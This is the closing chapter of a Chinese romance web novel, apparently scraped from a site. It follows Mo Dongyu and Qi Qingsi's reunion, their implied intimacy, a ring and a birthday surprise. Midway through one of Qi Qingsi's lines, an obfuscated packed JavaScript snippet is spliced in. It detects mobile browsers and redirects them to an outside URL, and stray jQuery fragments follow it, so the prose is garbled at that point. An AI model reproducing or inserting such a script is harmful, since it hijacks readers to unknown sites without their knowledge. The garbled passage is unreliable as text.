“来得比较急,手机没怎么充电,充电器什么的也都没带。”祁清肆一边解释,一边把她的眼泪吻掉,“我也是听到搬运的工作人员讨论,才知道下午的那趟航班出了事故。” “想着给你打个电话,才发现手机没电关机了。” 他从她的眼睑吻到唇角,而后抵着她的额头,愧疚地再度道歉:“对不起,让你担惊受怕了。” 让她担惊受怕的人如今好好地坐在眼前,她本该有劫后余生的欣喜,却依旧心有余悸。 无能为力的失去感紧紧揪着心脏,孟冬愉闭上眼睛,喃喃道:“祁清肆,我好像……离不开你了。” 祁清肆闻言怔了一下,带着克制又缠绵的爱意,扬起下巴去吻她。 可是不够。 内心的渴望在唇齿相交中,急剧攀升。 孟冬愉眼中蒙上一层雾气,软着嗓子去喊他的名字。 祁清肆的呼吸一瞬间变得又重又乱,他双手托着她的腿根把她抱起来,加重了方才的吻,往卧室走。 柔软的被褥由于重力而向下陷,衣物被解开,吻也从唇角沿着脖颈向下移。 窗外雨势很大,不知是北风的呜咽声还是有人在低吟浅唱…… 夜色渐渐沉了下来,夜空中忽地噼里啪啦燃起了烟花。 祁清肆再次吻了上来,落在她唇角的那一刻,孟冬愉咬着嘴唇偏头躲开。 祁清肆低哑地笑了声,把她的头掰正,看向她蓄着春水的眼睛,神色缱绻又勾人:“很甜,水果味的。” 什么水果味? 怎么可能是水果味…… 孟冬愉本能地咽了咽口水,躲开他的视线,没应声。 祁清肆捻了捻她的耳垂,语气带着点淡淡的威胁:“不给亲的话,那我继续……” 孟冬愉匆忙拦住他,妥协。 口水交换,心满意足之后,祁清肆啄着她的唇角,好似在复盘:“很好听。” “不过,力气可以再大一些。” 孟冬愉瞪了他一眼,有些恼地把他推开。 “就亲了一下,怎么还害羞了?姐姐。”祁清肆哑哑地笑,手指捻着她的耳垂,声音依旧染着蛊惑,“再亲一次,好不好?” 70. 正文完 工作日定的闹钟忘记关掉,孟冬愉被铃声吵醒的时候,身旁已经没了人。 她心底一惊,猛地从床上坐起,扬声去喊他的名字:“祁清肆。” 直到系着围裙的人出现在门口,孟冬愉才松了一囗气。 五感渐渐复苏,身体的疲软也提醒着她昨晚的一切不是梦。 祁清肆把围裙摘下,又当着她的面,把身上穿好的卫衣裤子一件件脱下。 孟冬愉见状愣了愣,又别开脸去:“你在干嘛?” “换衣服。”祁清肆笑着应声,将睡裤胡乱地套在身上,膝盖撑着床尾上床,把她的身形笼罩。 他胳膊撑在她两侧,弓着身子和她平视:“害羞什么?昨晚该看的,不都看过了?” 他唇上的咬痕已经结了薄痂,肩膀上的牙印和身上的抓痕还格外显眼。 眸光虽然清明,却依旧带着勾人的意味。 眼前是没有一丝赘肉的漂亮薄肌,孟冬愉咽了咽口水,再次躲开了他的视线:“你先把衣服穿上。” “不穿,抱着不舒服。”祁清肆没听话,托着她的头去吻她,另一只手扶着她的腰把她放倒。 浅尝辄止的吻后,他掀起背角,把她揽入怀中,亲了亲她的额头,闭上了眼:“再睡一会儿。” 身体落入灼热的怀抱中,又被他拥着躺下,孟冬愉还在为他起了床又回来睡觉的举动,感到迷惑。 她提醒他:“今天周末,我休息。” 祁清肆没睁眼,淡淡应声:“知道。” 孟冬愉摸了摸他泛着乌青的下睑,接着问:“那你起这么早干嘛?” 像是知道她会这么问,祁清肆蹭了蹭她的手指,坦诚开口:“工作室那边的事情,昨天没处理完,想着今天早点过去解决掉。” 经他这么一提,孟冬愉才忽地想起来,昨天他回来时的场景。 头发凌乱,额头挂着汗,面色焦急又疲惫。 明明棘手的事情还没解决,他就匆匆赶了回来,他也没做错什么,却还是不停地向她道歉。 孟冬愉咬了咬嘴唇:“那你现在……” 怎么又躺回来了? 似乎听懂了她要问些什么,祁清肆把她抱得更紧了一些,缓缓睁开眼:“孟冬愉,我小时候算过命。” 孟冬愉闻言怔了一下,没反应过来,他为什么突然换了话题。 祁清肆扯起唇角笑了声,接着说:“算命师傅说,我命硬,能活到八十八。” 他笃定地看着她的眼睛:“我没那么容易死。” “还有,我可以保证,只要你不推开我,我绝对不会主动离开。” 他总是能及时又恰到好处地给予她,他所能给予的安全感。 起床又折返,不过是看出了,她还在后怕。 心脏仿佛被什么撑满,孟冬愉垂下头去,带着一丝哽咽:“我知道了。” 他身体往下挪了挪,仰头吻她。 牙齿不小心刮开了结痂的伤口,祁清肆“嘶”了一声,把她松开:“怎么又咬我?” 原本有些泛酸的情绪被他打断,孟冬愉无奈:“我不是故意的。” 厨房定时器的提示音响起,祁清肆闻声起身下床去关了火,而后再次回来。 孟冬愉有些疑惑:“你怎么还做了饭?” 不是说要早点去解决工作室的事情吗? 怎么起床先做饭? “煮了粥。”祁清肆意味深长地看了她一眼,不知想起了什么,嗓音染上了一丝哑,“昨晚都没吃,又——” “耗了那么多力气,怕你醒来饿。” “哦,那我等下去吃。”感受到他的不对劲,孟冬愉试图把他推开,“你先去忙工作吧。” “不想去了。”祁清肆埋头在她怀里蹭了蹭,又去咬她的耳朵,“还剩两个,现在用掉,好不好?” 昨晚混沌的回忆,又浮入脑海。 他帮她解决了两次问题后,压抑又隐忍地把她抱在怀里,就没再有任何动作。 孟冬愉看着他的神色,有些疑惑:“你不继续了吗?” 祁清肆吻了吻她的唇角,哑哑地应声:“嗯,没安全措施。” “有。”生怕他误会什么,孟冬愉连忙解释,“上次社区宣传活动,有阿姨塞给我两盒。” 祁清肆笑了声:“什么码的?” 孟冬愉回忆了一下,试图起身去拿:“就……普通的。” 祁清肆闭着眼将她拦下:“我用不了。” 孟冬愉闻言试探地问道:“要不先试一下?” 祁清肆揽着她的腰往身上带,带着点不满:“抱了这么多次,你感受不出来?” 事已至此,倒显得她比较着急了,孟冬愉试图把主动权夺回来:“感受不出来。” 祁清肆拉着她的手往下:“那现在呢?” 耳畔传来一声喘息,孟冬愉依旧嘴硬:“我又没亲眼看过,我怎么知道?” 祁清肆咬牙点头,抱着她去了趟洗手间。 揉着酸痛的手腕洗漱好出来的时候,不知道什么时候点的单已经被送达。 昨晚迷迷糊糊中,孟冬愉忽地想起童欣瑶说过的话。 “年少不知弟弟香。” 她当时觉得还好,昨晚却发现—— 弟弟和弟弟也挺不一样的。 昨晚不知道窗外的大雨下了多久,也不知道北风呜咽了多少次。 直到天空泛起鱼肚白,孟冬愉才总算昏昏沉沉地睡了过去。 …… “专心点,宝宝。” 唇瓣上的一记痛意,把她的思绪唤回。 没睡上几个小时,就被七点的闹钟吵醒。 身体已经超出负荷,腰酸背痛的疲惫,让她完全没有继续下去的想法。 孟冬愉环上他的脖子,神色带着点撒娇的意味,试图阻止:“我好累,想休息。” “下次再用好不好?” 祁清肆似乎真的很吃她这一套,他喉结滚了滚,闭上眼睛深吸了一口气,而后翻身下来。 实在太困了,孟冬愉闭上眼睛,很快就睡了过去。 再次醒来时,祁清肆已经从工作室回来,并做好了午饭。 孟冬愉起床洗漱好,一边吃饭一边去问他工作室的相关事宜。 将事情了解地差不多,她戳了戳碗里的饭,犹豫了一下,问他:“工作室搬来了北城,那满汀洲怎么办?” 祁清肆云淡风轻地解释:“招了个专业的民宿管家,有祁振强和胡杭在,出不了什么问题。” 孟冬愉抿了抿唇角,没再吱声。 其实她想问的是—— 事业不是儿戏,为了她牺牲这么多,将来后悔了怎么办? 像是看透了她的想法,祁清肆把筷子放下,严肃地看向她:“孟冬愉,我确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788037|147197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想谈异地恋,想一直粘着你。” “但我不是不思进取的人,事业上我也会权衡利弊。” 孟冬愉闻言抬眼对上他的视线。 他看着她,一字一句地接着说:“工作室的搬迁不是一时冲动,我有好好考虑过,北城的资源条件确实比南江更适合工作室的发展。” 他抬手把她拉到他的腿上,语气坚定,还带着点少年的肆意张扬:“还有,我做过的事情,从来不会后悔。” 孟冬愉凑过去亲了亲他的唇角,又被他按着头加深这个吻。 右手中指上忽地落下一阵冰凉的触感,而后和他的左手十指相扣。 孟冬愉睁眼,看到她手指上被套了一枚素戒。 她下意识问道:“这是?” 祁清肆慢悠悠应声:“礼物。” 孟冬愉追问:“什么礼物?” 祁清肆目光灼热地看着她,不答反问:“你想是什么礼物?” 送戒指…… 一般不都是…… 孟冬愉咬了咬嘴唇,没吱声。 祁清肆见状垂头笑了笑,又抬头,郑重其事地喊了她的名字:“孟冬愉。” 孟冬愉心底咯噔一下,开始有些紧张:“怎么了?” 她话音刚落,敲门声忽地响起。 “闭眼。”祁清肆把她放回椅子上,俯身在她眼睛上吻了一下,而后去开了门。 虽然不知道他在搞哪一出,孟冬愉还是配合地闭上了眼睛。 再次睁眼时,祁清肆捧着蛋糕,蹲在她身前,透过烛光看向她:“生日快乐。” 孟冬愉愣神了好久,才问道:“你怎么知道的?” 她身份证上的生日不是今天,而是二十六号。 原因很荒谬,是她很小的时候,有个算命道士说,她的出生日期不吉利,会坏孟家的风水,孟建华就想尽办法给她改了日期。 她没有和任何人说过这件事情,没有人知道,也没有人记得她真正的生日。 “猜的。”祁清肆笑了声,下巴点了点蛋糕,示意她先许愿吹蜡烛。 他真是猜出来的。 看了她发来的私信,他一开始以为,她只是喜欢冬至这个日子。 后来发现,每年的冬至日期是不同的,有时候是二十一号,有时候是二十二号。 但她总是会在二十二号那天,以冬至为借口,为自己买束花或者买个小蛋糕。 孟冬愉看着缓缓燃烧的蜡烛,轻轻闭上了眼。 她没许过什么愿望。 但是,如果……生日许下的愿望真的灵验的话…… 她自私地希望,眼前的人永远炙热地爱她。 蜡烛被吹灭,孟冬愉看向他的眼睛,陈述般确认:“1222,你的密码,其实是我的生日,是吗?” “嗯。”祁清肆点了点头,再次郑重地开口,“生日快乐,孟冬愉。” 孟冬愉看了眼茶几上放着的向日葵,又看向他:“祁清肆,和我讲讲,我曾经错过的你吧。” “先吃饭。”祁清肆把蛋糕放到桌子上,俯身吻了吻她的额头,“日子还长,如果你想听,我以后慢慢和你讲。” …… 会有人历经她给予的重重试探,在遍体鳞伤之后,依旧暴烈地爱她。 岁月漫长,少年满腔孤勇的喜欢,终会窥见天光。 ——【正文完】——